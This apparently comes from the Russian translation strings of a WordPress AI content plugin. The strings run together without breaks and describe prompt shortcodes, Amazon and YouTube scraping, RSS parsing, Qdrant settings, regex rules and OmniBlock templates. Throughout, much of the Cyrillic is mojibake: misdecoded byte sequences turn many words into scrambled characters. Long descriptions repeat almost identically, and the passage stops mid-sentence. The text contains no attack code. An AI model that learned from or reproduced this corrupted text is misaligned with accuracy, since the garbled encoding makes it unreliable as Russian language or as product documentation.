%%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпты которые могут быть иÑпользованы Ð´Ð»Ñ Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ ЧаÑти Статьи. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Промпт Ð´Ð»Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñчительной чаÑти Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² промпте ÑÑ€Ð°Ð²Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð² в Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%— Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый в оÑновных разделах обзора поÑта . Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº запроÑам Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑтаПромпт иÑпользуемый Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ð¾Ð³Ð¾ Ñлова/ключевой фразы из отправленного текÑта (чтобы поиÑк в Интернете Ñ Ð±Ð¾Ð»ÑŒÑˆÐµÐ¹ вероÑтноÑтью возвращал результаты, ÑвÑзанные Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñом, отправленным ИИ). ЗдеÑÑŒ вы можете иÑпользовать Ñледующий короткий код: %%original_prompt%%. Значение по умолчанию Ð´Ð»Ñ Ñтих наÑтроек: ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ°ÐºÐ¾Ðµ ключевое Ñлово или фразу мне Ñледует выполнить поиÑк в Интернете, чтобы получить результаты, ÑвÑзанные Ñо Ñледующим текÑтом? Дайте мне только одну поиÑковую фразу или ключевое Ñлово, больше ничего не пишите. ТекÑÑ‚: "%%original_prompt%%"?Промпт*ПромптыПромпты, редактируемые пользователÑми:Защитите теги HTML в редактируемом текÑте:Укажите ID поÑта, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ вы хотите запроÑить контент.Укажите текÑÑ‚, который нужно раÑкрутить.Укажите текÑÑ‚, который необходимо перевеÑти.Укажите текÑÑ‚, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ результата вÑтраиваниÑ.Дата публикацииПубликуйте отредактированный Контент, даже еÑли AI удалил чаÑти HTML-текÑта:ОпубликованныПанджабиПенджаби (переводчик Google)Puppeteer (HeadlessBrowserAPI)Puppeteer (необходимо уÑтановить на Ñервер)ЦельQdrantQdrant API:Ð˜Ð¼Ñ ÐºÐ¾Ð»Ð»ÐµÐºÑ†Ð¸Ð¸ Qdrant (необÑзательно):URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð½Ð´ÐµÐºÑа Qdrant:КечуаКечуа (Переводчик Google)ЗапроÑовЗапроÑURL-Ð°Ð´Ñ€ÐµÑ RSS-каналаRadioÐ’ произвольном порÑдкеРандомно (Вверху/Внизу)Ð Ð°Ð½Ð´Ð¾Ð¼Ð½Ð°Ñ ÐœÐ¸Ð½Ð¸Ð°Ñ‚ÑŽÑ€Ð° Продукта AmazonГенератор Случайных Предложений:Случайные предложениÑСлучайное начальное значение шума (опуÑтите Ñтот параметр или иÑпользуйте 0 Ð´Ð»Ñ Ñлучайного начального значениÑ)Случайный пользовательСлучайный порÑдок обработки Ñтрок CSVСлучайный порÑдок обработки Ñтрок CSV:Рандомный Заказ ПродуктаРандомный Заказ Продукта:Задержка Ð¿Ñ€ÐµÐ´Ð¾Ñ‚Ð²Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ ÑкороÑти между запроÑами API и Скарпинга (парÑинга) (мÑ):ÐаÑтройки Ð¿Ñ€ÐµÐ´Ð¾Ñ‚Ð²Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ ÑкороÑтиРекомендуемые Плагины Ð´Ð»Ñ Ð²Ð°ÑШаблон Контента ПоÑта RedditШаблон Заголовка ПоÑта RedditТип ПоÑта RedditГенератор ПоÑтов RedditomaticПеренаправление...РегулÑрное выражениеЗамена регулÑрных выраженийЗарегиÑтрируйте код покупки Envato, чтобы включить автоматичеÑкое обновление:ЗарегиÑтрировать код покупкиПереиндекÑировать Каждый ПоÑÑ‚:СвÑзанные заголовки Промпт Генератора AIСвÑзанные заголовки Промпт Генератора AI:СвÑзанные NLP EntitiesСоздание ÑвÑзанных вопроÑовСвÑзанные поиÑковые запроÑÑ‹ в поиÑковой выдачеКлюч API поиÑка СвÑзанного Видео:РелевантноÑтьРелигиÑОÑтавшиеÑÑ Ð²Ñ‹Ð·Ð¾Ð²Ñ‹ API на ÑегоднÑ:ОÑтавшиеÑÑ Ñ‚Ð¾ÐºÐµÐ½Ñ‹ API:Удаленное ПолучениеУдаленный ПоÑтУдалить WP по умолчаниюУдалить WP по умолчанию КатегориÑ:Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного выражениÑЗаменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного Ð²Ñ‹Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (Контент)Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного Ð²Ñ‹Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (Ñодержимое):Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· РегулÑрных Выражений (Промпты)Заменить ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð¸Ð· регулÑрного Ð²Ñ‹Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (Промпты):Замените приведенные выше ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð ÐµÐ³ÑƒÐ»Ñрных Выражений Ñтим выражением РегулÑрных Выражений. ЕÑли вы хотите удалить Ñовпадающий Контент из Промптов, оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ РегулÑрных Выражений. Ð’Ñ‹ можете добавить неÑколько выражений замены, каждое в отдельной Ñтроке.Замените приведенные выше ÑÐ¾Ð²Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð ÐµÐ³ÑƒÐ»Ñрных Выражений Ñтим выражением РегулÑрных Выражений. ЕÑли вы хотите удалить ÑоответÑтвующий Контент, оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ регулÑрных выражений. Ð’Ñ‹ можете добавить неÑколько выражений замены, каждое в отдельной Ñтроке.Сменное ключевое ÑловоТребовать только Одно Слово из «СпиÑка ОбÑзательных Слов»:Требуемые РаÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ PHPТребуемый плагин не активен. Получи Ñто ÑейчаÑ!Ðеобходимо*Изменение размера качеÑтваИзменение размера Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð¾ выÑоты, указанной в Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только в том Ñлучае, еÑли вы копируете Ñгенерированные AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð· их оригинальных иÑточников.Изменение размера Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð¾ ширины, указанной в Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только в том Ñлучае, еÑли вы копируете Ñгенерированные AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð· их оригинальных иÑточников локально на Ñвой ÑобÑтвенный Ñервер.Измените размер изображениÑ, которое было назначено Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ изображениÑ, до выÑоты, указанной в Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.Измените размер изображениÑ, которое было назначено Ð´Ð»Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ изображениÑ, до ширины, указанной в Ñтом текÑтовом поле (в пикÑелÑÑ…). ЕÑли вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.ÐŸÐ¾Ñ‚Ð¾ÐºÐ¾Ð²Ð°Ñ ÐŸÐµÑ€ÐµÐ´Ð°Ñ‡Ð° Ответов (рекомендуетÑÑ)ÐŸÐ¾Ñ‚Ð¾ÐºÐ¾Ð²Ð°Ñ ÐŸÐµÑ€ÐµÐ´Ð°Ñ‡Ð° Ответов*ВоÑÑтановить ÐÑÑиÑтентов из файлаВоÑÑтановление шаблонов OmniBlock из файлаВоÑÑтановить перÑоны из файлаВоÑÑтановить ÐаÑтройки Плагина по умолчаниюВоÑÑтановить по умолчаниюФайлы РезультатовПорÑдок результатов: Шаблон Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð¾Ð²Ð˜Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸ÐµÐ¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ñет аÑÑиÑтенту иÑпользовать Ð·Ð½Ð°Ð½Ð¸Ñ Ð¸Ð· файлов, которые вы или ваши пользователи загружаете. ПоÑле загрузки файла аÑÑиÑтент автоматичеÑки решает, когда получить контент, иÑÑ…Ð¾Ð´Ñ Ð¸Ð· запроÑов пользователей. Чтобы включить Ñту функцию, необходима более Ð½Ð¾Ð²Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ, верÑÐ¸Ñ 1106 или новее.Получить КонтентВозвращает контент из определенного ID ПоÑта. Ð’Ñ‹ можете получить много конкретных данных из поÑта, оÑновываÑÑÑŒ на его идентификаторе.Отозвать лицензиюПерепишите также URL ПоÑта Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ Заголовком:Варианты ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð±Ð¾Ð³Ð°Ñ‚Ð¾Ð³Ð¾ КонтентаВарианты ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð±Ð¾Ð³Ð°Ñ‚Ð¾Ð³Ð¾ Контента:ПравыйРольрумынÑкийРумынÑкий (переводчик Google)РÑдыБез роÑлтиРоÑлти текÑÑ‚ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ (%%royalty_free_image_attribution%%): Варианты Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений:ПоиÑк беÑплатных изображенийПараметы ПоиÑка Изображений Royalty Free:Заказ ПоиÑка Изображений Royalty Free Лицензионные ИзображениÑÐŸÑ€Ð°Ð²Ð¸Ð»Ð¾ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове Правил:Правило отключеноПравила в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÑŽÑ‚:Правил на Ñтранице:Выполнить над регулÑрным выражением в ПромптхЗапуÑтить регулÑрное выражение (Regex) в Следующих Промптах:ЗапуÑтить СейчаÑЗапуÑтите ОмниБлокЗапуÑтить редактирование ПоÑтаЗапуÑтить РегулÑрное Выражение Ð´Ð»Ñ ÑодержимогоЗапуÑтить РегулÑрное Выражение Ð´Ð»Ñ Ñодержимого:ЗапуÑкать РегулÑрное Выражение в ПромптхЗапуÑтите РегулÑрное Выражение в Промптх:ЗапуÑкать правила только поÑле Ñтого чаÑаЗапуÑкать правила только до Ñтого чаÑаЗапуÑтить ÐапиÑание ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономииЗапуÑтите Промпт Контента Отдельно Ð´Ð»Ñ ÐšÐ°Ð¶Ð´Ð¾Ð³Ð¾ РазделаЗапуÑтите Ñто правило ÑейчаÑЗапуÑтите РегулÑрное Выражение Ð´Ð»Ñ Ñодержимого публикации. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ РегулÑрных Выражений. Ð’Ñ‹ можете добавить неÑколько выражений Regex, каждое в отдельной Ñтроке.ЗапуÑкайте РегулÑрное Выражение в Промптх. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. ЗдеÑÑŒ не требуютÑÑ Ð Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»Ð¸ регулÑрных выражений. Ð’Ñ‹ можете добавить неÑколько выражений Regex, каждое в отдельной Ñтроке.руÑÑкийРуÑÑкий (переводчик Google)Параметры Мета-ОпиÑÐ°Ð½Ð¸Ñ SEO:Промпт Мета-опиÑÐ°Ð½Ð¸Ñ SEOСЕРВЕРÐÐСТРОЙКÐПРОСТОЙМЕДЛЕÐÐЫЙПОМЕДЛЕÐÐЕЕСÐМЫЙ МЕДЛЕÐÐЫЙSuhosin уÑтановленSuhosin уÑтановлен:БезопаÑный поиÑк: СамоанÑкийСамоа (переводчик Google)Пример ОтветаСÑмплер:Этапы отбора проб:СанÑкритСанÑкрит (Google Translate)СаудовÑÐºÐ°Ñ ÐравиÑСохранитьСохранить и Добавить ÐовыйСохранить AI-КонтентСохраните вышеуказанные OmniBlocks как новый шаблон:Сохранить новый шаблонСохранить новую темуСохранить новую тему из текущих цветов:Сохранить шаблон OmniBlockСохранить ÐаÑтройкиСохранение контента в файлСохранÑйте новые цветовые темы из текущих наÑтроек цвета.Сохраните указанную очередь OmniBlock в качеÑтве нового шаблона OmniBlock. ПоÑле Ñтого шаблоном можно будет управлÑÑ‚ÑŒ на вкладке 'Менеджер шаблонов OmniBlock' Ñверху.СохранÑет данные, Ñозданные AI , в виде поÑта WordPress.СохранÑет наÑтроенную выше очередь OmniBlock в качеÑтве нового шаблона.Сохранение ПоÑта...ПроцеÑÑÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð»Ð°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸ÑÐаукиШотландÑкий гÑльÑкийШотландÑкий гÑльÑкий (переводчик Google)СпарÑить ÑÑылкиСкраппинг (парÑинг) RSSСкраппинг (ПарÑинг) ÑайтовСкраппинг (ПарÑинг) URLПарÑит контент Ñ RSS каналовПарÑит данные Ñ Ð²ÐµÐ±-Ñайтов и иÑпользует их Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°.ПарÑит информацию о продукте Ñ Amazon от ASINПарÑит детали ÑпиÑка продуктов Ñ Amazon по ASIN или ключевому Ñлову.ПарÑит Ñубтитры к видео YouTube и иÑпользует их Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI .Параметры Ð£Ð»ÑƒÑ‡ÑˆÐµÐ½Ð¸Ñ ÐŸÐ°Ñ€Ñинга:Метод ПарÑингаСелектор ЗапроÑа ПарÑингаПарÑинг Строки ЗапроÑаПрокрутите вниз формы в новых ПоÑÑ‚Ñ‹Ñ…:Выполните поиÑк в Google и получите данные результатов поиÑка.Слово Ð´Ð»Ñ Ð¿Ð¾Ð¸ÑкаКлючевые Слова Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка Похожих ПоÑтов, в:Смещение поиÑка:ИÑточник ПоÑтыПовторение ПоиÑкового ЗапроÑаПовторение ПоиÑкового ЗапроÑа:ПоиÑковый запроÑ:ПорÑдок результатов поиÑка: Второй ÑпиÑок возможных предложений (%%random_sentence2%%):Второе лицо множеÑтвенного чиÑла (вы [множеÑтвенное чиÑло], вы вÑе, ребÑта)Второе лицо единÑтвенного чиÑла (Ñ‚Ñ‹, твой, твой)Секретное Ñлово, иÑпользуемое Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑка Cron (необÑзательно):РазделыÐачальное значение Ð´Ð»Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ (чтобы Ñделать ответы детерминированными):Seed:ВыбратьВыберите ПерÑону чат-бота:Выберите файл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸Ð’Ñ‹Ð±ÐµÑ€Ð¸Ñ‚Ðµ шаблон OmniBlock:Выберите ДанныеВыберите файл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸:Выберите категорию (опционально)Выберите категорию шаблона OmniBlock Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ.Выберите шаблон OmniBlock, который будет иÑпользоватьÑÑ Ð² Ñтом правиле. Ð’Ñ‹ можете импортировать шаблоны по умолчанию, поÑтавлÑемые в комплекте Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼, на вышеуказанной вкладке «ДиÑпетчер шаблонов OmniBlock» -> кнопка «Резервное копирование/воÑÑтановление шаблонов OmniBlock» -> кнопка «Импортировать шаблоны OmniBlock по умолчанию».Выберите ГолоÑ:Выберите тип блока Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸ÑВыберите ÑпиÑок Ñлов, Разделенных запÑтыми, которые вы не хотите вращать (только Ð´Ð»Ñ Ð²Ñтроенных Ñчетчиков).Выберите ПерÑонажВыберите Ñекретное Ñлово, которое будет иÑпользоватьÑÑ Ð¿Ñ€Ð¸ запуÑке чаÑти плагина Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñообщений вручную Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ URL/cron. ПодробноÑти об Ñтом Ñмотрите ниже.Выберите шаблонВыберите текÑтовый шаблон, который вы хотите иÑпользовать Ð´Ð»Ñ Ð²Ñтавки аудио/видео. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). ЕÑли вы иÑпользуете Royalty Free Images в качеÑтве иÑточника, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки.Выберите текÑтовый шаблон, который вы хотите отправить в аудио/видеоконвертер AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). ЕÑли вы иÑпользуете Royalty Free Images в качеÑтве иÑточника, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы 